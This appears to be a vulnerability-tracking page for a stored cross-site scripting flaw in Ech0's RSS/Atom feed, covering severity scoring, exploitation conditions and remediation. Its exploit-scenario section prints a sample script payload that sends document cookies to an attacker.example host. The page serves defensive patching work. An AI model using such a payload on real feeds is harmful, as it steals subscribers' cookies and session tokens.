Skip to main content

Ech0 CVE-2026-79663

| EUVDEUVD-2026-65451 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-25 VulnCheck GHSA-9277-65xq-8gww
4.8
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker obtains or compromises Ech0 admin account
  2. Delivery
    Craft echo post with tag name or body containing `<script>` payload
  3. Exploit
    Submit post; payload stored unescaped in database
  4. Execution
    Ech0 renders payload into Atom /rss `<summary type="html">` without escaping
  5. Persist
    Subscriber opens feed in HTML-rendering RSS client
  6. Impact
    JavaScript executes in RSS reader's origin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Admin role is required to create or edit echo posts - Ech0 enforces this at internal/service/echo/echo.go:54-56. In a single-admin instance (the owner is the only admin), exploitation is self-attack with no meaningful external threat. The realistic attack scenario is a multi-admin deployment where the owner has promoted one or more non-owner admins, allowing a rogue or compromised elevated account to inject into the shared RSS feed. Additionally, victim impact depends on the RSS client rendering <summary type="html"> as HTML - clients that display summaries as plain text or strip script tags are not vulnerable to JavaScript execution. The /rss endpoint must be reachable by the subscriber (typically public by default). No non-default Ech0 configuration is required for the feed endpoint itself to be exposed.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:P, score 4.8) accurately captures the two principal constraints: the attacker must already hold admin privileges (PR:H), and victim impact depends on the RSS client rendering HTML (UI:P). These factors together significantly reduce priority relative to a raw network-delivered XSS. No EPSS data was provided in the input; no CISA KEV listing exists, and no public exploit code has been identified, meaning this is not confirmed actively exploited. The scope change (RSS reader origin, not the Ech0 application origin) limits but does not eliminate impact - RSS readers that render HTML may expose session tokens or permit reader-origin actions on behalf of subscribers. In single-admin deployments this is effectively self-attack with negligible threat. Multi-admin deployments where non-owner admins have been promoted represent the realistic threat scenario. Overall, this is a low-to-medium real-world priority: patch when convenient, but not an emergency for single-admin instances.

Exploit ScenarioDerived

A malicious or compromised admin on a multi-admin Ech0 instance creates an echo post with a tag named </span><script>fetch('https://attacker.example/c?'+document.cookie)</script><span>x. The payload is stored and rendered unescaped into the public /rss Atom <summary type="html"> field. When an RSS subscriber opens the feed in a client that renders HTML summaries (common in self-hosted and desktop RSS readers such as Miniflux, NetNewsWire, or similar), the script executes in the reader's origin, exfiltrating any cookies or tokens accessible from that context.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 25, 2026

Stored XSS in Ech0 before 4.7.3 allows admin-privileged attackers to inject executable JavaScript into the public RSS/Atom feed via unescaped tag names or raw HTML markdown content. The payload persists in the database and executes when RSS subscribers open the feed in clients that render Atom <summary type="html"> as HTML, affecting anonymous and authenticated subscribers without further attacker interaction. No public exploit code and no CISA KEV listing exist at time of analysis; the admin-only injection prerequisite substantially constrains real-world risk.

RemediationAI

Upgrade Ech0 to version 4.7.3 or later; the upstream fix is anchored to commit fd320fe3e9021c8d8d284fb274775c018690520e (Go module: >= 1.4.8-0.20260503035519-fd320fe3e902), which should resolve both sinks by HTML-escaping tag names before interpolation and enabling html.SkipHTML in the gomarkdown renderer. Advisory: https://github.com/lin-snow/Ech0/security/advisories/GHSA-3v85-fqvh-7rxf. If immediate upgrade is not feasible, the most effective compensating control is to restrict or disable public access to the /rss endpoint at the reverse-proxy or firewall level (trade-off: breaks the RSS feed for all subscribers). A secondary control is to audit existing tags and echo content for HTML metacharacters and sanitize stored data before patching. Restricting admin promotion to fully trusted users eliminates the multi-admin attack vector without service disruption.

Affected VersionsENISA

Ech0 0 <4.7.3

Affected Packages

go github.com/lin-snow/ech0 fix: 1.4.8-0.20260503035519-fd320fe3e902
euvd ech0 fix: 4.7.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Ech0 is a Go-based self-hosted blogging and microblogging platform (CPE: cpe:2.3:a:lin-snow:ech0). Two distinct output sinks are unescaped: (1) tag names are interpolated into HTML via fmt.Appendf with the %s verb at internal/service/common/common.go:120, which performs no HTML escaping - only a leading # strip and whitespace trim occur upstream; (2) the Markdown renderer at internal/util/md/md.go uses the gomarkdown library without the html.SkipHTML flag, so raw HTML blocks in echo body content pass through unmodified. Both sinks feed into the Atom <summary type="html"> field of the /rss endpoint. Per RFC 4287 §3.1.1.3, RSS readers that render this field decode XML entities and pass the result to an HTML renderer, meaning injected <script> tags survive the round-trip and execute in the RSS reader's origin. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause class.

Know when Ech0 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.8 MEDIUM

Admin credentials required to inject content (PR:H); victim must view feed in HTML-rendering RSS client (UI:R); payload executes in RSS reader origin, constituting scope change (S:C).

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Aug 25, 2026 - 13:02 EUVD

DescriptionCVE.org

Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
Rare
obscure self-hosted microblogging tool, negligible enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Ech0

View all
CVE-2026-79664 CRITICAL
9.1 Aug 25

Persistent authentication bypass in Ech0 (lin-snow's self-hosted lightweight publishing/memo app) before 4.7.3 lets an a

CVE-2026-79662 HIGH
8.8 Aug 25

OAuth redirect URI validation in Ech0 through 4.5.6 allows session hijacking via exchange-code theft by exploiting incom

CVE-2026-79665 HIGH
8.7 Aug 25

Authorization bypass in Ech0 before 4.5.1 allows any authenticated non-admin user to invoke privileged admin endpoints b

CVE-2026-79658 HIGH
8.7 Aug 25

Denial of service in Ech0 before 5.0.1 allows unauthenticated remote attackers to saturate server CPU by exploiting a qu

CVE-2026-79673 HIGH
8.5 Aug 25

Privilege escalation in Ech0 before 4.4.3 allows an attacker holding an admin's profile:read access token to change the

CVE-2026-79659 HIGH
8.3 Aug 25

Server-side request forgery in Ech0 before version 4.7.3 allows authenticated users to pivot through the application ser

CVE-2026-79667 HIGH
7.2 Aug 25

Scope enforcement in Ech0 4.3.4 and earlier is opt-in at the route level, meaning privileged admin routes that omit the

CVE-2026-79666 HIGH
7.1 Aug 25

Missing administrator authorization on dashboard log endpoints in Ech0 before 4.4.3 allows any authenticated low-privile

CVE-2026-79672 HIGH
7.0 Aug 25

Scope enforcement bypass in Ech0's comment panel admin API allows any holder of a valid admin-issued access token - rega

CVE-2026-79668 MEDIUM
6.9 Aug 25

Unauthenticated metric inflation in Ech0 before 4.7.3 allows any remote attacker to arbitrarily increment the fav_count

CVE-2026-79661 MEDIUM
6.9 Aug 25

Unauthenticated remote attackers can increment the fav_count of any echo - including private ones - in Ech0 through 4.5.

CVE-2026-79660 MEDIUM
6.9 Aug 25

Ech0 before version 4.7.3 exposes guest commenter email addresses to unauthenticated remote callers via public comment-l

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy